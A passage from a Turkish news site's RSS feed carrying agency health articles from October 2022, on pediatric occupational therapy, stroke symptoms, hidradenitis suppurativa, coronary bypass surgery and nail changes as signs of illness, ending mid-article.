                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/cocuklarda-ergoterapi-seanslari-cocugun-ihtiyaclarina-gore-belirleniyor-547273</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/cocuklarda-ergoterapi-seanslari-cocugun-ihtiyaclarina-gore-belirleniyor-547273</guid>
                <description><![CDATA[Tatil süreçlerinde terapiye ara vermek süreci olumsuz etkileyebiliyor Çocuklarda ergoterapinin temel amacının, çocuğun günlük yaşamda ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Tatil süreçlerinde terapiye ara vermek süreci olumsuz etkileyebiliyor</strong></span></span></p>  <p><span><span><strong>Çocuklarda ergoterapinin temel amacının, çocuğun günlük yaşamda bağımsızlığını destekleyerek toplumsal katılımını artırmak olduğunu ifade eden Ergoterapi Uzmanı Ebru Şirin, ergoterapi seanslarının çocuğun ihtiyaçları göz önünde bulundurularak planlandığını söyledi. Bu planlamalar sonucunda terapiye verilen özen, gösterilen iş birliği ve devamlılığın terapi sürecini etkilediğini kaydeden Şirin, düzenli çalışmalar ile olumlu geri bildirimlerin paralellik gösterdiğini söyledi. Şirin, özellikle tatil süreçlerinde terapiye ara verilmesinin sağaltım sürecini olumsuz etkileyebildiğini söyledi.</strong></span></span></p>  <p><span><span>Üsküdar Üniversitesi NPİSTANBUL Hastanesi Ergoterapi Uzmanı Ebru Şirin, 27 Ekim Dünya Ergoterapi Günü dolayısıyla yaptığı açıklamada pediatrik ergoterapi ve ergoterapi seanslarının planlama sürecine ilişkin bilgi verdi.</span></span></p>  <p><span><span>Çocuklarda ergoterapinin temel amacının, çocuğun günlük yaşamda bağımsızlığını destekleyerek toplumsal katılımını artırmak olduğunu ifade eden Ergoterapi Uzmanı Ebru Şirin, “Ergoterapi seansları çocuğun ergoterapi ihtiyacının neler olduğu ve günlük yaşamının nasıl etkilediği belirlenerek planlanmaktadır.” dedi.</span></span></p>  <p><span><span><strong>Sorunlar aynı olsa da ergoterapi ihtiyacı farklı olabilir</strong></span></span></p> <p><span><span>Ergoterapist tarafından çocuğun bir değerlendirme sürecinden geçtiğini ifade eden Ergoterapi Uzmanı Ebru Şirin, “Her değerlendirme bireye özgü olmaktadır. Bu süreçte ihtiyaçları belirlenmekte ve müdahale programı oluşturulmaktadır. Bu değerlendirmelerde çocukların; sosyal, duyusal, dil, ince ve kaba motor beceriler gibi temel gelişim alanlarında problemlerin belirlenmesi amaçlanmaktadır. Ancak aynı problemleri yaşayan farklı çocukların ergoterapi ihtiyaçları da farklılık gösterebilmektedir. Bu nedenle çocuğun cinsiyeti, yaşı, tanısı, günlük rutini ve diğer önemli bilgileri seans planlama sürecini oluşturmakta önem taşımaktadır” dedi.</span></span></p>  <p><span><span><strong>Ergoterapi süresi 40-45 dakika planlanmaktadır</strong></span></span></p> <p><span><span>Ergoterapi seanslarının süresinin çocuğa özgü olarak değişkenlik göstermekle birlikte genel olarak bir seans süresinin ortalama 40-45 dakika olarak planlandığını kaydeden Ebru Şirin, “Ergoterapi seanslarının sıklığı ise çocuğun yaşadığı probleme göre değişkenlik göstermektedir. İhtiyaçlar doğrultusunda ergoterapi seansları haftada daha sık olarak planlanabilirken; haftada bir gibi seyrek olarak planlama da yapılabilmektedir. Bu durum tamamen çocuğun ihtiyaçları doğrultusunda kişiye özgü planlanmalıdır.” dedi.</span></span></p>  <p><span><span><strong>Terapiye ara verilmesi süreci olumsuz etkileyebiliyor</strong></span></span></p> <p><span><span>Ergoterapi seanslarında devamlılığın önemine işaret edenErgoterapi Uzmanı Ebru Şirin<strong>, </strong>sözlerini şöyle tamamladı: “Ergoterapi seansları çocuğa özgü, ihtiyaçları doğrultusunda planlanmaktadır. Bu planlamalar sonucunda terapiye verilen özen, gösterilen iş birliği ve devamlılık terapi sürecini etkilemektedir. Düzenli çalışmalar ile olumlu geri bildirimler paralellik göstermektedir. Özellikle tatil süreçlerinde terapiye ara verilmesi sağaltım sürecini olumsuz etkileyebilmektedir. Bu gibi durumlarda terapist ile iş birliği içinde olmak oldukça önemlidir. Ancak unutulmamalıdır ki ergoterapi seanslarına uzmanın önerdiği düzende ve devamlı katılım olması tedavi sürecine olumlu yansımaktadır.”</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-cocuklarda-ergoterapi-seanslari-cocugun-ihtiyaclarina-gore-belirleniyor-67444.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 12:04:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/cocuklarda-ergoterapi-seanslari-cocugun-ihtiyaclarina-gore-belirleniyor-1V41yfYZ.jpg"/>
            </item>
                                <item>
                <title>İnmenin 5 Belirtisine Dikkat</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/inmenin-5-belirtisine-dikkat-547246</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/inmenin-5-belirtisine-dikkat-547246</guid>
                <description><![CDATA[İnme (felç) dünyada ve ülkemizde kalıcı sakatlık ile hayati risk nedenleri arasında ilk sıralarda yer alıyor. İnme geçiren kişilerde aniden ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>İnme (felç) dünyada ve ülkemizde kalıcı sakatlık ile hayati risk nedenleri arasında ilk sıralarda yer alıyor. İnme geçiren kişilerde aniden ortaya çıkan bir tarafta güçsüzlük, uyuşma veya konuşma zorluğu en sık görülen belirtiler arasında bulunuyor. İnme belirtileri bazen geri dönüşlü olabilirken, bu rahatsızlığa doğru müdahale edilmediğinde sıklıkla kalıcı hasar oluşabiliyor. Ancak erken müdahale, felcin kalıcı hale gelmesini önleyebilir. İnme geçiren bir hastada belirtiler ortaya çıktıktan sonra ilk 6 saatte tedaviye başlanması özellikle damar tıkanıklığına bağlı ortaya çıkabilecek hasarın düzeltilebilmesi açısından büyük önem taşıyor. Bu yüzden inme belirtileri görülen kişilerin zaman kaybetmeden sağlık kuruluşuna götürülmesi ve inme tedavisine hızla başlanması gerekiyor. Memorial Antalya Hastanesi Nöroloji Bölümü’nden Uz. Dr. Elif Sarıönder Gencer, 29 Ekim Dünya İnme Günü nedeniyle inme (felç) hakkında bilinmesi gerekenleri anlattı. </span></span></p>  <p><span><span><strong><span>İnme hastalığını tanıyın</span></strong></span></span></p> <p><span><span><span>İnme (felç)  beynin ne kadar süreyle kan akışından yoksun olduğuna ve hangi kısmın etkilendiğine bağlı olarak, bazı bölgelerde geçici veya kalıcı sakatlıklar yaşanması durumu olarak ifade edilmektedir. İnme (felç), vücutta vasküler (damarsal) olaylara bağlı ani gelişen fokal nörolojik belirtiler için kullanılır. </span><span>İnme sonrası kişi birçok işi yapmada yakınlarına bağımlı hale gelebilir. Ayrıca inme en fazla fonksiyon kaybına, diğer bir deyişle kalıcı engelliliğe yol açan hastalıklar arasında ilk sıralarda yer almaktadır ve yaşam kalitesini olumsuz yönde etkilemektedir.</span> <span>İnmenin iki çeşidi vardır. Bunlar damar tıkanıklığına bağlı iskemik inme veya  kan damarı sızıntısına bağlı hemorajik inmedir. Bazı hastalarda beyine giden kan akışının geçici olarak kesilmesi ile oluşan kalıcı belirtilere neden olmayan geçici iskemik atak ortaya çıkar.</span></span></span></p>  <p><span><span><strong><span>Kadınlarda daha çok görülüyor</span></strong></span></span></p> <p><span><span><span>55 yaş üzeri kişilerin, gençlere kıyasla inme olasılığı daha yüksektir. Erkeklerde inme riski de kadınlara oranla daha yüksek seyretmesine rağmen kadınlarda inmeden dolayı ölüm oranları erkeklerden fazladır. Östrojen içeren doğum kontrol haplarının veya hormon tedavilerinin kullanılması felç riskini artırır. Fazla kilolu ya da obezite hastası olmak, fiziksel hareketsizlik, sigara veya uyuşturucu kullanımı inme geçirme riskini artırabilir. Tıbbi olarak inme için yüksek riskli hastalıklar arasında; hipertansiyon, hiperlipidemi, diyabet, kalp yetmezliği, atrial fibrilasyon gibi kalp ritim bozuklukları, obsrüktif uyku apnesi sayılabilir.</span></span></span></p>  <p><span><span><strong><span>Belirtileri anlamak büyük önem taşıyor</span></strong></span></span></p> <p><span><span><span>Öncelikle hastanın inme geçirdiğini anlamak çok önemlidir. Bir kişi veya çevresindeki biri felç geçiriyorsa, belirtilerin başladığı zamana da dikkat edilmesi gerekir. Çünkü bu hastalıkta tedaviden en çok fayda gören hasta grubu belirtiler başladıktan sonra ilk saatlerde tedavi edilenlerdir. </span></span></span></p>  <p><span><span><span>Bir kişide aniden ortaya şu belirtiler varsa inmeden şüphelenilmesi gerekir;</span></span></span></p> <ol> <li><span><span><span>Yüzde kayma </span></span></span></li> <li><span><span><span>Konuşmada bozulma</span></span></span></li> <li><span><span><span>Aynı taraf kol ya da bacakta güçsüzlük</span></span></span></li> <li><span><span><span>Çift görme </span></span></span></li> <li><span><span><span>Ani görme kaybı</span></span></span></li> </ol>  <p><span><span><span>Belirtilerden bir veya birkaçının görülmesi durumunda zaman kaybetmeden </span><span>acil tıbbi yardım için </span><span>arama yapmak gerekir. Semptomların değişip değişmeyeceğini görmek adına zaman kaybetmemek önemlidir. İnme için her dakika, her saniye büyük önem arz etmektedir. İnme ne kadar uzun süre tedavi edilmezse, beyin hasarı ve sakatlık potansiyeli de o ölçüde artar. </span></span></span></p>  <p><span><span><strong><span>Zaman kaybetmeden tedaviye başlanması gerekiyor</span></strong></span></span></p> <p><span><span><span>Akut inmeli hastanın değerlendirilmesi ve tedavi planlamasında görüntüleme tetkikleri olmazsa olmazdır. Akut inmeli hastanın beyin görüntülemesi için en sık kullanılan yöntem “kontrastsız Beyin Bilgisayarlı Tomografisi (BBT)”dir. Bu işlem kolay ulaşılabilir oluşu, hızlı ve kısa sürede çekim yapılabilmesi, kanamayı dışlamak için yeterli oluşu ve MRG çekilmesinin uygun olmadığı vakalarda da uygulanabilmesi nedeniyle avantajlıdır.</span></span></span></p>  <p><span><span><strong><span>Girişimsel yöntemle pıhtı çıkarılabiliyor!</span></strong></span></span></p> <p><span><span><span>Erken müdahale felcin kalıcı olmasını önleyebilir. Hastaya ne kadar erken müdahale edilirse, felcin düzelme şansı da o kadar fazla olacaktır. İdeali, hastanın ilk birkaç saat içinde tedavisinin yapılabilmesidir. İlk 4-5 saatte ilaçlı pıhtı eritici tedavi, yani tromboliz tedavisi yıllardır hastalara uygulanabilmekteyken, 2015 yılından beri ilk 6 saat içinde de anjiyografik pıhtı çıkarma (trombektomi) tedavisinin yararı kanıtlanmıştır. İlk 6 saatte uygulanan anjiyografik pıhtı çıkarma tedavisi çok önemlidir çünkü tedavi edilen 4 hastanın 1’i tamamen eski sağlığına ve hayatına dönebilmektedir.</span></span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-inmenin-5-belirtisine-dikkat-67428.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 11:13:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/inmenin-5-belirtisine-dikkat-9dE7AyCz.jpg"/>
            </item>
                                <item>
                <title>Geçmek bilmeyen sivilceniz, HS hastalığı işareti olabilir</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/gecmek-bilmeyen-sivilceniz-hs-hastaligi-isareti-olabilir-547238</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/gecmek-bilmeyen-sivilceniz-hs-hastaligi-isareti-olabilir-547238</guid>
                <description><![CDATA[Halk arasında az bilinen ve genelde hastaların konuşmaktan çekindiği hidradenitis suppurativa (HS) hastalığına doğru tanı konulması ortalama 10 ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Halk arasında az bilinen ve genelde hastaların konuşmaktan çekindiği hidradenitis suppurativa (HS) hastalığına doğru tanı konulması ortalama 10 yıl sürebiliyor.HS hakkında açıklama yapan Prof. Dr. Deniz Demirseren, “Koltuk altı, kasık, kalça ve meme altlarında ağrılı, tekrarlayan hassas şişlikleriniz veya akıntılı yaralarınız varsa çekinmeden ve gecikmeden bir dermatoloji uzmanına başvurun”dedi.</strong></span></span></p>  <p><span><span>Hidradenitis suppurativa (HS), kıl ve ter bezlerinin bulunduğu yerlerde ortaya çıkan kronik bir deri hastalığı.2 HS hastalığı erken teşhis edilmezse süreç içerisinde sivilceler koltuk altı, kasık, kalça ve meme altlarında ağrılı, hassas şişliklere ve akıntılı apselere dönüşüyor.2-3 <strong>Sağlık Bilimleri Üniversitesi Ankara Şehir Hastanesi Deri ve Zührevi Hastalıkları Anabilim Dalı’</strong>ndan<strong> Prof. Dr. Deniz Demirseren,</strong> yaşam kalitesini önemli ölçüde düşüren4 bu hastalıkla ilgili önemli açıklamalarda bulundu.</span></span></p> <p><span><span><strong>“HS tanısı ortalama 10 yıl gecikebiliyor”</strong></span></span></p> <p><span><span>HS lezyonlarının dağılımının cinsiyete göre değiştiğini belirten <strong>Prof. Dr. Demirseren,</strong> “Genelde genital bölge ve bacaklardaki lezyonlar, kadınlarda daha sık görülüyor” diye ekledi. <strong>Prof. Dr. Deniz Demirseren,</strong> <em><span>“</span></em>HS’nin oluşturduğu lezyonlar hastaların yaşamını olumsuz yönde etkiliyor. Hastaların ağrılı ve akıntılı lezyonları iş gücü kaybına ve psikolojik sorunlara neden olabiliyor. Hastalar çekindikleri için doktora gitmiyorlar ya da dermatoloji dışındaki branşlara başvurabiliyorlar. Bu nedenle HS tanısı ortalama 10 yıl gecikebiliyor” dedi. </span></span></p> <p><span><span><strong>“HS kalıtsal (genetik) yatkınlık sonucu oluşabiliyor”</strong></span></span></p> <p><span><span>Ailede HS yatkınlığının, hastalık riskini artırabileceğinin altını çizen <strong>Prof. Dr. Deniz Demirseren,</strong> “HS belirtileri ile bana danışan bir annenin erkek kardeşinde ve ikiz çocuklarında da benzer belirtiler olduğunu öğrendim. Bunun üzerine HS teşhisi konulan bu hastalar da tedavi edildiler” dedi. HS hastalığının alevlenme ve yatışma dönemleri olabileceğine, doğru tedaviler ile hastaların yaşam kalitesinde önemli iyileşmeler gözlenebileceğine vurgu yapan <strong>Prof. Dr. Demirseren,</strong> fazla kilo ve sigara içmenin hastalığı şiddetlendirebileceğini belirtti.</span></span></p> <p><span><span><strong>“HS hastaları mutlaka dermatoloğa başvurmalı”</strong></span></span></p> <p><span><span>Hastaların şişliklerin oluştuğu bölgeleri çok iyi gözlemlemesi gerektiğine dikkat çeken <strong>Prof. Dr. Demirseren;</strong> son 6 ayda koltuk altı, kasık, kalça ve meme altlarında iki veya daha fazla kez şişlik oluşuyorsa mutlaka bir dermatoloğa başvurmaları gerektiğini vurguladı. Bu belirtileri gösteren hastalara ayrıca www.hidradenit.com internet sitesindeki “Doktor Görüşme Rehberi” sayesinde doktor görüşmelerine hazırlıklı gidebilecekleri önerisinde bulundu.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-gecmek-bilmeyen-sivilceniz-hs-hastaligi-isareti-olabilir-67421.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 11:03:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/gecmek-bilmeyen-sivilceniz-hs-hastaligi-isareti-olabilir-wSwLFJ6N.jpg"/>
            </item>
                                <item>
                <title>Kalp Damarlarında Tıkanıklığın İlk Sinyaline Dikkat</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kalp-damarlarinda-tikanikligin-ilk-sinyaline-dikkat-547237</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kalp-damarlarinda-tikanikligin-ilk-sinyaline-dikkat-547237</guid>
                <description><![CDATA[Ülkemizde her yıl yaklaşık 40 bin kişi koroner bypass ameliyatı oluyor Sağlıksız beslenme, hareketsizlik, yoğun stres içeren yaşam tarzı ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Ülkemizde her yıl yaklaşık 40 bin kişi koroner bypass ameliyatı oluyor</strong></span></span></p>  <div> <p><span><span>Sağlıksız beslenme, hareketsizlik, yoğun stres içeren yaşam tarzı, sigara, alkol, aşırı tuz tüketimi ve kalitesiz uyku gibi alışkanlıklar nedeniyle kalp ve damar hastalıklarının görülme sıklığı son yıllarda hızla artıyor. <strong>Acıbadem Taksim Hastanesi Kalp ve Damar Cerrahisi Uzmanı Doç. Dr. Macit Bitargil</strong>, dünyada ve ülkemizde ölüm nedenleri arasında başı çeken kalp damarlarındaki tıkanıklığın yani koroner arter hastalığının artık gençlerde de sık görüldüğünü belirterek “Sağlıksız yaşam alışkanlıklarına genetik faktörler, yüksek kolesterol, yüksek tansiyon ve diyabet hastalığı da eklendiğinde kalbi besleyen damarların (koroner arter) tıkanma ihtimali giderek artıyor” diyor.  </span></span></p>  <p><span><span>Ülkemizde her yıl bin kişiden ikisinin yani yaklaşık 160.000 kişinin kalp damarlarındaki tıkanıklığa bağlı olarak hayatını kaybettiğini söyleyen Doç. Dr. Macit Bitargil “Kalbi besleyen ana damarlarda kritik seviyede ve sayıda damar tıkanıklığı olduğu zaman ise hayat kurtaran ve yaşam kalitesini yükselten koroner bypass ameliyatları gündeme geliyor. Ülkemizde her yıl yaklaşık 40 bin kişi koroner bypass yani kalp ameliyatı oluyor” diye konuşuyor. Kalp ve Damar Cerrahisi Uzmanı Doç. Dr. Macit Bitargil, kalp damarlarında tıkanıklık ve koroner bypass ameliyatı hakkında bilinmesi gerekenleri anlattı, önemli uyarılar ve önerilerde bulundu. </span></span></p>  <p><span><span><strong>Göğüs ağrısına dikkat!</strong></span></span></p> <p><span><span>Kalbi besleyen damarlarda tıkanıklık olması durumunda kalp kaslarının yeteri kadar beslenemediğini, bu nedenle özellikle kalbin iş yükü arttığında kalbin beyne bazı sinyaller yolladığını, bunun da öncelikle göğüs ağrısı ile kendini gösterdiğini vurgulayan Doç. Dr. Macit Bitargil “Özellikle yol yürümekle ya da yokuş yukarı çıkmakla gelen ve dinlenince geçen göğüs ağrılarını ciddiye alıp en kısa zamanda doktora görünmek gerekir. Tam teşekküllü bir hastanede kalp için görüntüleme yöntemleri uygulanarak kalp damar tıkanıklığı ortaya konulacak; kardiyolog ve kalp damar cerrahisi uzmanları bir araya gelerek bypass ameliyatı gerekip gerekmediğinin kararını ortak verecektir.” diyor. </span></span></p>  <p><span><span><strong>Kalp krizine yol açabiliyor!</strong></span></span></p> <p><span><span>Kalp ve Damar Cerrahisi Uzmanı Doç. Dr. Macit Bitargil, kalp damarlarındaki tıkanıklığın kalp krizine yol açabildiğini belirterek şöyle konuşuyor: “Kalbin beslenmesini sağlayan, 2-4 mm aralığında çaplara sahip olan iki ana koroner arter ve onların dalları mevcuttur. Bu damarlarda tıkanıklık kritik seviyelere ulaştığında ve özellikle göğüs ağrıları başladığında hastalık ciddiye alınmazsa kalp krizine (miyokard enfarktüsü) yol açabiliyor. İlaç tedavisi, koroner balon anjioplasti ve/veya stentin yetersiz kaldığı durumda devreye koroner bypass ameliyatı giriyor.” Koroner bypass ameliyatının, kalbin ihtiyaç duyduğu kanlanma miktarını yeniden sağlamak, hastanın hayati tehlikesini ortadan kaldırmak, yaşam kalitesini artırmak ve sağlıklı bir şekilde normal hayata geri dönüşüne vesile olmak adına devreye girdiğini vurgulayan Doç. Dr. Macit Bitargil, hangi tedavi yönteminin uygulanması gerektiğine ilişkin kararın, hastalığın durumuna göre hasta özelinde belirlendiğini söylüyor. </span></span></p>  <p><span><span><strong>Bu alışkanlıklar kalbi tehdit ediyor!</strong></span></span></p> <p><span><span>Günümüzde sağlıksız yaşam tarzı nedeniyle kalp ve damar hastalıklarının yaygınlaştığını vurgulayan Doç. Dr. Macit Bitargil, son yıllarda kalp hastalıklarından ölümün gençlerde de sık görüldüğüne dikkat çekiyor. Doç. Dr. Macit Bitargil, kalp damarlarında tıkanıklığa yol açarak bypass’a zemin hazırlayan alışkanlıkları şöyle anlatıyor: “Yoğun stres kortizol mekanizmasına bağlı olarak kan basıncını, kan şekerini ve kolesterol miktarını artırarak özellikle kalp damarlarımıza ciddi miktarlarda zarar vermektedir. Yüksek oranlarda alkol tüketmek, tütün mamulleri kullanarak dumana maruz kalmak, hareketsizlik, spor yapmamak, dengesiz ve sağlıksız beslenmek, fazla tuz tüketmek, kalitesiz uyku gibi alışkanlıklar da kalp damarlarımız için zararlı olup bypass ameliyatına zemin hazırlayan yanlış alışkanlıklardır.”</span></span></p>  <p><span><span><strong>Koroner bypass ameliyatının yöntemi hastaya göre değişiyor </strong></span></span></p> <p><span><span>Acıbadem Taksim Hastanesi Kalp ve Damar Cerrahisi Uzmanı Doç. Dr. Macit Bitargil, koroner bypass ameliyatının yönteminin, hastanın durumuna göre belirlendiğini belirterek, açık ya da kapalı her iki yöntemle de, damar tıkanıklığı dolayısıyla kalbin etkilenen bölgelerine kanın sağlıklı şekilde yeniden ulaşmasının sağlanabildiğini söylüyor. Özellikle ‘Minimal invaziv’ de denilen kapalı ameliyat yönteminde; son yıllarda teknoloji ve tıpta yaşanan hızlı gelişmeler ve hekimlerin tecrübeleri sayesinde bypass ameliyatının, göğsün ön kemiği kesilmeden, göğsün sol alt tarafında meme altından yapılan küçük bir kesi ile de gerçekleştirilebildiğini belirten Doç. Dr. Macit Bitargil “Ameliyat esnasında kalbin kritik olarak daralan ya da tıkanan koroner damarlarına, göğüsten, bacaktan ya da koldan alınan damarlar yardımı ile bypass işlemi yapılır. Böylece hastalık nedeni ile kalbin etkilenen bölgelerine tekrardan sağlıklı bir şekilde kanın ulaşması sağlanır. Genel anestezi altında ortalama 3-6 saat kadar süren bir işlemdir” diyor. Koroner bypass ameliyatı sonrasında yaklaşık 1 haftada taburcu olunurken, vücudun kendini toplama süresinin 6-12 hafta arasında değiştiğini belirten Doç. Dr. Macit Bitargil, doktor izin verdiği takdirde 4-6 hafta sonra iş hayatına dönülebileceğini ve spor aktivitelerine başlanabileceğini söylüyor. </span></span></p>  <p><span><span><strong>“Kalbime bypass ameliyatı yapıldı, artık damarlarım tıkanmaz” demek yanlış!</strong></span></span></p> <p><span><span>Toplumda ‘kalbime koroner bypass ameiliyatı yapıldı, artık damarlarım tıkanmaz’ şeklinde inanış olduğunu, ancak bunun doğru olmadığını vurgulayan Kalp ve Damar Cerrahisi Uzmanı Doç. Dr. Macit Bitargil, koroner bypass ameliyatında kullanılan damarların bilinçli ve tedaviye uyumlu hastalarda ameliyat sonrasında 10-15 yıl açık kalabildiğini, bu süreden sonra zamanla yeniden tıkanabildiğini belirtiyor. Doç. Dr. Macit Bitargil “Koroner bypass ameliyatından sonra hastaların bazı yaşam tarzı değişikliklerini gerçekleştirmesi çok önemlidir. Önerilen tedaviyi uygulamayan, kontrollerini ve ilaç kullanımlarını aksatan, zararlı alışkanlıklarına hala devam eden hastalarda ise erken dönem tıkanıklık ve yeniden müdahale durumları söz konusu olabilmektedir. Kalp ameliyatı sonrası stresten ve sigaradan mutlaka uzak durulmalı, sağlıklı bir diyet programı uygulanmalı, verilen ilaçlar düzenli kullanılmalı ve doktor kontrolleri aksatılmamalıdır.” uyarısında bulunuyor. </span></span></p> </div>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-kalp-damarlarinda-tikanikligin-ilk-sinyaline-dikkat-67419.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 11:02:07 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/kalp-damarlarinda-tikanikligin-ilk-sinyaline-dikkat-cxMGEvDm.jpg"/>
            </item>
                                <item>
                <title>Tırnaktaki Renk ve Biçim Değişimleri Hastalıkların Habercisi Olabilir</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/tirnaktaki-renk-ve-bicim-degisimleri-hastaliklarin-habercisi-olabilir-547228</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/tirnaktaki-renk-ve-bicim-degisimleri-hastaliklarin-habercisi-olabilir-547228</guid>
                <description><![CDATA[Tırnaklarımız estetik açıdan el ve ayak görünümünün çok önemli bir parçası olmasının yanı sıra parmak ucunun travmadan korunmasını da sağlıyor ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Tırnaklarımız estetik açıdan el ve ayak görünümünün çok önemli bir parçası olmasının yanı sıra parmak ucunun travmadan korunmasını da sağlıyor. Parmaklarımızı koruyan tırnaklarımızda meydana gelen değişimler ise ciddi hastalıkların habercisi olabiliyor. Doktor Takvimi uzmanlarından olan Uzm. Dr. Abdullah Öztürk, tırnaklar hakkında bilmemiz gerekenleri anlatıyor.</strong></span></span></p>  <p><span><span>Vücudumuzun en özel ve benzersiz yapılarından biri olan tırnakların renk ve şekil değişimleri, bünyemizde oluşan değişimlere bağlı olarak gelişiyor. Yani tırnaklar sağlık durumumuzda oluşan değişimlerden etkilenen bir yapıya sahip. Tırnaklarımızda oluşan değişimlerin ciddi rahatsızlıkların habercisi olduğunu söyleyen Uzm. Dr. Abdullah Öztürk, <strong>“</strong>Tırnaklar bize birçok hastalık açısından önemli ipuçları verebiliyor. Dikkatli bir hekim hastasının tırnaklarına bakarak hastalığını teşhis edebiliyor. Birçok hastalıkta tırnakların şeklinde ve renginde farklılıklar oluşuyor” diyor.</span></span></p>  <p><span><span>Uzm. Dr. Abdullah Öztürk, tırnakların nasıl uzadığını ve nelere dikkat etmemiz gerektiğini şu şekilde açıklıyor: “Sağlıklı kişilerde el tırnakları günde ortalama 0,1 mm kadar uzuyor. El tırnağının tamamıyla yenilenmesi 4-6, ayak başparmağı tırnağını ise 12 ayı buluyor. Kişinin sağlığını bozan hastalıklarda, mineral ve vitamin eksikliklerinde ise bu süreler uzayabiliyor. Tırnak keserken, el tırnaklarının yuvarlak, ayak tırnaklarının ise tırnak kenarları derinin üstünde kalacak şekilde düz kesilmesi gerekiyor. Aksi takdirde ayak tırnaklarında batma oluşabiliyor. Yine dar burunlu veya düz tabanlı ayakkabı giyilmesi de tırnaklarda şekil bozukluğu ve batmaya sebep olabiliyor. Bu nedenlerle ortopedik tabanlı ayaklara uygun ayakkabıların tercih edilmesi gerekiyor.”</span></span></p> <p><span><span><strong>Tırnaklarınızda oluşan değişimlere dikkat edin</strong></span></span></p> <p><span><span>Uzm. Dr. Abdullah Öztürk, tırnaklar, farklı hastalıklarda farklı şekiller aldığını söylüyor. Öztürk, “Anemide (kansızlık) demir eksikliğine bağlı olarak tırnaklar inceliyor ve kaşık görünümünü alıyor. Bu kaşık tırnak görünümü kansızlık dışında kalp damar hastalıkları, sifiliz, tiroid hastalıkları ve 